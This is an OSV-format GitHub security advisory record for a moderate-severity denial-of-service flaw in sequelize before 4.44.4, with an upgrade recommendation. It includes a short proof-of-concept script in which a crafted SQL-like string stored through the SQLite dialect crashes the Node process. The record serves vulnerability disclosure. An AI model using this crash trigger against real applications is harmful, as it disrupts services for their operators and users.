{"id":"GHSA-fw4p-36j9-rrj3","summary":"Denial of Service in sequelize","details":"Versions of `sequelize` prior to 4.44.4 are vulnerable to Denial of Service (DoS). The SQLite dialect fails to catch a `TypeError` exception for the `results` variable. The `results` value may be undefined and trigger the error on a `.map` call. This may allow attackers to submit malicious input that forces the exception and crashes the Node process.  \n\nThe following proof-of-concept crashes the Node process:  \n```\nconst Sequelize = require('sequelize');\n\nconst sequelize = new Sequelize({\n\tdialect: 'sqlite',\n\tstorage: 'database.sqlite'\n});\n\nconst TypeError = sequelize.define('TypeError', {\n\tname: Sequelize.STRING,\n});\n\nTypeError.sync({force: true}).then(() =\u003e {\n\treturn TypeError.create({name: \"SELECT tbl_name FROM sqlite_master\"});\n});\n```\n\n\n## Recommendation\n\nUpgrade to version 4.44.4 or later.","modified":"2020-08-31T18:48:48Z","published":"2020-09-03T20:25:33Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-248"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2020-08-31T18:48:48Z"},"references":[{"type":"WEB","url":"https://github.com/sequelize/sequelize/pull/11877"},{"type":"WEB","url":"https://www.npmjs.com/advisories/1142"}],"affected":[{"package":{"name":"sequelize","ecosystem":"npm","purl":"pkg:npm/sequelize"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.44.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-fw4p-36j9-rrj3/GHSA-fw4p-36j9-rrj3.json"}}],"schema_version":"1.9.0"}